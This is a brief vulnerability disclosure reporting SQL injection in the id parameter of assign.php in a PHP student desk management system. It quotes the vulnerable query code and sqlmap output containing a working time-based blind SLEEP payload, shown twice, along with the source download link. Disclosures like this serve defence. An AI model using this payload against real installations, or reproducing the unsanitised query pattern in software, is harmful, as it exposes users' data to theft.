

SQL injection vulnerability exists in id parameter of /admin/assign/assign.php file of Student Study Center Desk Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
3 $desks = $conn->query("SELECT * FROM `desk_list` where `status` = 1 and id NOT IN (SELECT desk_id FROM `assign_list` where `status` = 1 ".(
4 isset($_GET['id']) && $_GET['id'] > 0 ? "and `id` != '{$_GET['id']}'" : "").") order by `code` asc");
5 if(isset($_GET['id'])){
    $qry = $conn->query("SELECT * FROM `assign_list` where `id` = '{$_GET['id']}'");
}

sqlmap identified the following injection point(s) with a total of 1061 HTTP(s) requests:
Parameter: id (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: desk_id=3&id=0' AND (SELECT 5566 FROM (SELECT(SLEEP(5)))UwTX)-- crfG&remarks=555&student_id=3
```

“

Parameter: id (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: desk_id=3&id=0' AND (SELECT 5566 FROM (SELECT(SLEEP(5)))UwTX)-- crfG&remarks=555&student_id=3

“

Source Download:

<https://www.sourcecodester.com/php/16298/student-study-center-desk-management-system-using-php-oop-and-mysql-db-free-source-code>